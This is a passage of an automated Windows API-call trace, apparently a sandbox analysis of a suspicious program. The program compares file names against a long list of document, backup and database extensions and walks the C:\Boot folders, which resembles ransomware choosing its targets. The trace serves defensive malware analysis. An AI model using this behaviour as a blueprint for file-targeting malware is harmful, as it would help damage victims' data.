[0040.270] lstrlenW (lpString=".as") returned 3 [0040.270] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0040.270] lstrlenW (lpString=".asa") returned 4 [0040.270] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".asc") returned 4 [0040.270] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".ascx") returned 5 [0040.270] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".asm") returned 4 [0040.270] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".asmx") returned 5 [0040.270] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".asp") returned 4 [0040.270] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".aspx") returned 5 [0040.270] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".asr") returned 4 [0040.270] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".asx") returned 4 [0040.270] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".avi") returned 4 [0040.270] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".avs") returned 4 [0040.270] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".backup") returned 7 [0040.271] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".bak") returned 4 [0040.271] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".bay") returned 4 [0040.271] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".bd") returned 3 [0040.271] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0040.271] lstrlenW (lpString=".bin") returned 4 [0040.271] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".bmp") returned 4 [0040.271] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".bz2") returned 4 [0040.271] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".c") returned 2 [0040.271] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0040.271] lstrlenW (lpString=".cdr") returned 4 [0040.271] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".cer") returned 4 [0040.271] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".cf") returned 3 [0040.271] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0040.271] lstrlenW (lpString=".cfc") returned 4 [0040.271] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".cfm") returned 4 [0040.271] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".cfml") returned 5 [0040.271] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".cfu") returned 4 [0040.271] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0040.271] lstrlenW (lpString=".chm") returned 4 [0040.271] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".cin") returned 4 [0040.272] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".class") returned 6 [0040.272] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".clx") returned 4 [0040.272] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".config") returned 7 [0040.272] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".cpp") returned 4 [0040.272] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".cr2") returned 4 [0040.272] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".crt") returned 4 [0040.272] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".crw") returned 4 [0040.272] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".cs") returned 3 [0040.272] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0040.272] lstrlenW (lpString=".css") returned 4 [0040.272] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".csv") returned 4 [0040.272] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".cub") returned 4 [0040.272] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".dae") returned 4 [0040.272] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".dat") returned 4 [0040.272] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".db") returned 3 [0040.272] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0040.272] lstrlenW (lpString=".dbf") returned 4 [0040.272] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0040.272] lstrlenW (lpString=".dbx") returned 4 [0040.272] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dc3") returned 4 [0040.273] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dcm") returned 4 [0040.273] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dcr") returned 4 [0040.273] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".der") returned 4 [0040.273] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dib") returned 4 [0040.273] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dic") returned 4 [0040.273] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dif") returned 4 [0040.273] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".divx") returned 5 [0040.273] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".djvu") returned 5 [0040.273] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dng") returned 4 [0040.273] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".doc") returned 4 [0040.273] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".docm") returned 5 [0040.273] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".docx") returned 5 [0040.273] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dot") returned 4 [0040.273] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dotm") returned 5 [0040.273] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dotx") returned 5 [0040.273] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0040.273] lstrlenW (lpString=".dpx") returned 4 [0040.273] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".dqy") returned 4 [0040.274] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".dsn") returned 4 [0040.274] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".dt") returned 3 [0040.274] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0040.274] lstrlenW (lpString=".dtd") returned 4 [0040.274] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".dwg") returned 4 [0040.274] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".dwt") returned 4 [0040.274] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".dx") returned 3 [0040.274] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0040.274] lstrlenW (lpString=".dxf") returned 4 [0040.274] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".edml") returned 5 [0040.274] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".efd") returned 4 [0040.274] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".elf") returned 4 [0040.274] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".emf") returned 4 [0040.274] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".emz") returned 4 [0040.274] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".epf") returned 4 [0040.274] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".eps") returned 4 [0040.274] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".epsf") returned 5 [0040.274] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0040.274] lstrlenW (lpString=".epsp") returned 5 [0040.275] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0040.275] lstrlenW (lpString=".erf") returned 4 [0040.275] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0040.275] lstrlenW (lpString=".exr") returned 4 [0040.275] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0040.275] lstrlenW (lpString=".f4v") returned 4 [0040.275] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0040.275] lstrlenW (lpString=".fido") returned 5 [0040.275] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0040.275] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.275] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.318] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.318] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.319] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.319] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.319] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0040.319] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.319] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.319] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.319] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.319] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.319] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.319] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0040.319] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.319] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.320] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.320] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.320] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.320] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.320] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0040.320] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.320] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.320] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.320] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.320] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.320] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.320] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0040.320] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.320] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.321] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.321] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.321] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.321] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0040.321] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.321] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.321] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.321] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.321] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.321] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0040.322] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.322] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0040.322] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.322] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.322] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0040.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.322] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, 